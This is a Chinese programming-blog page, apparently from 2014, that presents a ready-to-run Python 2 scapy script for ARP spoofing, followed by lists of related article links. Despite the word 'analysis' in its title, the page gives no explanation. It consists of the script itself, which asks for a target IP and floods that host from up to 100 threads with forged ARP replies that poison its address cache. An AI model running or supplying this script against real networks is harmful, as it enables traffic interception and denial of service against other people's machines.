python发送arp欺骗攻击代码分析


Posted in Python onJanuary 16, 2014
# -*- coding: cp936 -*-
from scapy.all import *
from threading import Thread,Lock,activeCount
BROADCASTMAC = getmacbyip('192.168.0.120')
class Loop(Thread):
    def __init__(self,ip):
        Thread.__init__(self)
        self.ip = ip
    def run(self):
        global BROADCASTMAC
        arp = ARP()
        arp.psrc = '192.168.0.251'
        arp.hwsrc = BROADCASTMAC
        arp.pdst = self.ip
        arp.op = 2
        sr1(arp,verbose = 0,retry = 0,timeout = 3)
class Main(Thread):
    def __init__(self,ip):
        Thread.__init__(self)
        self.ip = ip
    def run(self):
        limit = 100
        total = 0
        while True:
            if activeCount() < limit:
                Loop(self.ip).start()
                total = total + 1
            print '目前已进行了ARP攻击的次数为:'+str(total)
if __name__ == '__main__':
    ip = raw_input('请输入要进行ARP攻击的机器IP:')
    Main(ip = ip).start()
Python 相关文章推荐
Python语言的12个基础知识点小结
Jul 10 Python
Python中字典的基础知识归纳小结
Aug 19 Python
python3.5 email实现发送邮件功能
May 22 Python
flask中的wtforms使用方法
Jul 21 Python
对python Tkinter Text的用法详解
Oct 11 Python
详解如何在Apache中运行Python WSGI应用
Jan 02 Python
浅谈python3 构造函数和析构函数
Mar 12 Python
Keras之自定义损失(loss)函数用法说明
Jun 10 Python
python从PDF中提取数据的示例
Oct 30 Python
微软开源最强Python自动化神器Playwright(不用写一行代码)
Jan 05 Python
Python3利用openpyxl读写Excel文件的方法实例
Feb 03 Python
详解非极大值抑制算法之Python实现
Jun 28 Python
分析python服务器拒绝服务攻击代码
Jan 16 #Python
python获取豆瓣电影简介代码分享
Jan 16 #Python
linux系统使用python获取cpu信息脚本分享
Jan 15 #Python
linux系统使用python监测系统负载脚本分享
Jan 15 #Python
linux系统使用python获取内存使用信息脚本分享
Jan 15 #Python
linux系统使用python监测网络接口获取网络的输入输出
Jan 15 #Python
linux系统使用python监控apache服务器进程脚本分享
Jan 15 #Python
You might like
PHP之变量、常量学习笔记
2008/03/27 PHP
防止MySQL注入或HTML表单滥用的PHP程序
2009/01/21 PHP
IP攻击升级,程序改进以对付新的攻击
2010/11/23 PHP
thinkphp的URL路由规则与配置实例
2014/11/26 PHP
PHP实现文件下载【实例分享】
2017/04/28 PHP
Yii2选项卡的简单使用
2017/05/26 PHP
PHP使用Http Post请求发送Json对象数据代码解析
2020/07/16 PHP
指定js可访问其它域名的cookie的方法
2007/09/18 Javascript
javascript cookies 设置、读取、删除实例代码
2010/04/12 Javascript
基于jQuery的message插件实现右下角弹出消息框
2011/01/11 Javascript
读jQuery之八 包装事件对象
2011/06/21 Javascript
jquery分页插件AmSetPager(自写)
2013/04/15 Javascript
jquery实现checkbox 全选/全不选的通用写法
2014/02/22 Javascript
js函数在frame中的相互调用详解
2014/03/03 Javascript
jQuery实现美观的多级动画效果菜单代码
2015/09/06 Javascript
JavaScript事件学习小结(五)js中事件类型之鼠标事件
2016/06/09 Javascript
jQuery实现别踩白块儿网页版小游戏
2017/01/18 Javascript
微信小程序页面传值实例分析
2017/04/19 Javascript
使用JavaScript根据图片获取条形码的方法
2017/07/04 Javascript
Javascript如何实现扩充基本类型
2020/08/26 Javascript
Python中使用动态变量名的方法
2014/05/06 Python
Python读取excel指定列生成指定sql脚本的方法
2018/11/28 Python
python 正则表达式参数替换实例详解
2020/01/17 Python
python实现百度OCR图片识别过程解析
2020/01/17 Python
python 项目目录结构设置
2020/02/14 Python
屏蔽Django admin界面添加按钮的操作
2020/03/11 Python
美国最大的半成品净菜电商:Blue Apron(蓝围裙)
2018/04/27 全球购物
美国花园雕像和家居装饰网上商店:Design Toscano
2019/03/09 全球购物
KELLER SPORTS荷兰:在线订购最好的运动产品
2020/10/13 全球购物
介绍一下内联、左联、右联
2013/12/31 面试题
高三英语教学反思
2014/01/13 职场文书
安全施工责任书
2014/08/25 职场文书
党的群众路线教育实践活动对照检查材料(个人)
2014/09/24 职场文书
会计求职信怎么写
2015/03/20 职场文书
成事在人观后感
2015/06/16 职场文书
Java服务调用RestTemplate与HttpClient的使用详解
2022/06/21 Java/Android